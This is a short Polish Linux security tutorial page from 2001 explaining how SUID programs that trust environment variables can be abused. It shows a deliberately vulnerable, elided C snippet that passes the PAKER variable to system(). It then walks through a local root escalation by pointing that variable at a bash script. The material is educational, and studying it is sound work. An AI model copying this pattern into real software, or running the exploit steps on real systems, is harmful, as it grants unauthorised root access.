Bezpieczeństwo systemów Linux'owych

Linux Security - Suidy
Strona główna

Zmienne systemowe
[1] [2] [3] [4] [5]
Niektóre programy korzystają ze zmiennych systemowych. Mechanizm ten odpowiednio wykorzystany przez włamywacza może być dużym zagrożeniem dla systemu.
Przykładem tego może być aplikacja typu SUID dającą możliwość wyboru programu archiwizującego dane. Postać tego programu może być mniej więcej taka:
[root@localhost]# more pakowarka.c
void main()
..
..
char *pak;

if ((pak=getenv("PAKER"))!=NULL)
	strcat(pak,"dane");
	system(pak);
}
else
{
	system("/bin/gzip dane");
}
..
..
W czasie zwykłego użytkowania program zachowuje się normalnie lecz odpowiednia zmiana zmiennej systemowej może dać zwykłemu użytkownikowi prawo root'a
[tronix@localhost]$ export PAKER="./shell"
[tronix@localhost]$ cat ./shell
/bin/bash
[tronix@localhost]$ pakowarka
[tronix@localhost]# whoami
root


ICMP - Pine - Fork - Firewall - Bezpieczne partycje
Suidy - Skanowanie - Word exportable - Backdoor'y - Sumy kontrolne
Perl - Logrotate - Shell przez WWW - Forum - Księga gości - Statystka - Linki

Kontakt: tronix@2com.pl
Copyright by Tronix (c)2001 All Rights Reserved